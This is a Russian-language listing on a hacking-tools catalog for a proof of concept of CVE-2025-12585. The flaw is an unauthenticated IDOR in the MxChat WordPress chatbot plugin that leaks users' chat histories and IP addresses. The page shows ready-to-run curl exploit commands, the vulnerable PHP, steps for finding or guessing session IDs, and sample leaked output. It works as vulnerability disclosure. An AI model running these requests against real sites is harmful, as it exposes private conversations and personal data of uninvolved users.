Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12585 — MxChat – AI-чатбот для WordPress <= 2.5.1 - Неаутентифицированное раскрытие информации | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-12585
Анализ уязвимостейЭксплуатация веб-приложенийЭксфильтрация данныхСбор информации
GitHubd0n601/cve-2025-12585

CVE-2025-12585

MxChat – AI-чатбот для WordPress <= 2.5.1 - Неаутентифицированное раскрытие информации

Репозиторий
510 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MxChat Basic <= 2.5.1 - MxChat – AI-чатбот для WordPress <= 2.5.1 - Неаутентифицированное раскрытие информации

Плагин MxChat Basic не проверяет принадлежность сессии в AJAX-эндпоинте mxchat_fetch_conversation_history, что позволяет неаутентифицированным пользователям получать доступ к истории переговоров и IP-адресам других пользователей через уязвимости небезопасных прямых ссылок на объекты (IDOR).

TL;DR Эксплойты

root@kitploit:~
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq

Подробности

Функция в файле получает данные переговоров исключительно на основе предоставленного клиентом без проверки того, что запрашивающий является владельцем сессии. Это позволяет любому неаутентифицированному пользователю с действующим nonce (доступным через фронтенд-JavaScript) получить доступ к приватным данным переговоров других пользователей. Кроме того, история переговоров включает IP-адреса пользователей, хранящиеся в поле , которые раскрываются вместе с данными переговоров.

mxchat_fetch_conversation_history()
/includes/class-mxchat-integrator.php
session_id
agent_name

Раскрытие IP-адреса происходит в процессе сохранения сообщений:

Расположено в class-mxchat-integrator.php:

root@kitploit:~
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();

Где MxChat_User::mxchat_get_user_identifier() возвращает IP-адрес пользователя для неаутентифицированных пользователей:

root@kitploit:~
9    public static function mxchat_get_user_identifier() {
10        if (is_user_logged_in()) {
11            $current_user = wp_get_current_user();
12            return $current_user->user_login;
13        } else {
14            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15        }
16    }

Этот IP-адрес затем сохраняется в истории переговоров как agent_name и раскрывается при получении данных переговоров.

Раскрытие идентификатора сессии в загружаемых файлах

Идентификаторы сессий напрямую встраиваются в имена загружаемых файлов. Когда пользователи загружают PDF- или Word-документы через интерфейс чата, файлы сохраняются с предсказуемыми шаблонами имён: mxchat_{session_id}_{timestamp}.pdf и mxchat_word_{session_id}_{timestamp}.docx. Это делает идентификаторы сессий обнаруживаемыми через различные векторы атак: листинг каталога, если на сервере включена индексация каталога загрузок, доступ к медиабиблиотеке WordPress, возможная индексация поисковыми системами и т.д.

Уязвимый фрагмент из class-mxchat-integrator.php:

root@kitploit:~
107 function mxchat_fetch_conversation_history() {
108     if (empty($_POST['session_id'])) {
109         wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110         wp_die();
111     }
112 
113     $session_id = sanitize_text_field($_POST['session_id']);
114     $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115     $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116 
117     if (empty($history)) {
118         wp_send_json_success([
119             'conversation' => [],
120             'chat_mode' => $chat_mode
121         ]);
122         wp_die();
123     }
124 
125     wp_send_json_success([
126         'conversation' => $history,
127         'chat_mode' => $chat_mode
128     ]);
129     wp_die();
130 }

Ручное воспроизведение

  1. Перейдите на любую страницу целевого сайта WordPress и извлеките mxchat_chat_nonce из исходного кода страницы. Nonce раскрывается во фронтенд-JavaScript как mxchatChat.nonce и доступен всем посетителям.

  2. Определите идентификатор сессии (формат: mxchat_chat_{9 буквенно-цифровых символов}). Идентификаторы сессий можно обнаружить по именам загруженных файлов, если включены листинг каталога или доступ к медиабиблиотеке, либо перебрать, проверяя последовательные шаблоны или распространённые значения.

  3. Выполните следующую команду curl для получения истории переговоров из любой сессии:

root@kitploit:~
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
  1. Вы получите JSON-ответ, содержащий полную историю переговоров, включая все сообщения пользователей, ответы бота, временные метки, IP-адреса пользователей и метаданные сессии:
root@kitploit:~
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}

Поле agent_name содержит IP-адрес пользователя ($_SERVER['REMOTE_ADDR']) для неаутентифицированных пользователей, который раскрывается вместе с данными переговоров.

Скачать инструмент